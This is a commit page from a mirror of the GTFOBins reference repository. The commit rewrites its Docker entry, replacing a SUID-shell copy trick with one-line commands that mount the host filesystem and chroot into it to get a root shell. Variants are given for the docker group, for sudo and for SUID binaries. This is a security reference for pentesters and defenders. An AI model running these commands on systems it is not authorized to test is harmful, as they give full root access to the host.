mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-10-31 16:58:36 +01:00 
			
		
		
		
	Simplify the docker example by using chroot
Also make it available for non-root users. The previous SUID example had the problem that the loaders between host and containers must match, for example, copying `sh` from alpine to debian doesn't directly work.
This commit is contained in:
		| @@ -1,13 +1,14 @@ | ||||
| --- | ||||
| description: | | ||||
|   Exploit the fact that Docker runs as root to create a SUID binary on the host using a container. This requires the user to be privileged enough to run docker, e.g. being in the `docker` group. Any other Docker Linux image should work, e.g., `debian`. | ||||
|   This requires the user to be privileged enough to run docker, i.e. being in the `docker` group or being `root`. | ||||
| functions: | ||||
|   shell: | ||||
|     - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. | ||||
|       code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh | ||||
|   sudo: | ||||
|     - code: | | ||||
|         sudo docker run --rm -v /home/$USER:/h_docs ubuntu \ | ||||
|             sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p | ||||
|     - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. | ||||
|       code: sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh | ||||
|   suid: | ||||
|     - code: | | ||||
|         ./docker run --rm -v /home/$USER:/h_docs ubuntu \ | ||||
|             sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p | ||||
|     - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. | ||||
|       code: ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh | ||||
| --- | ||||
|   | ||||
		Reference in New Issue
	
	Block a user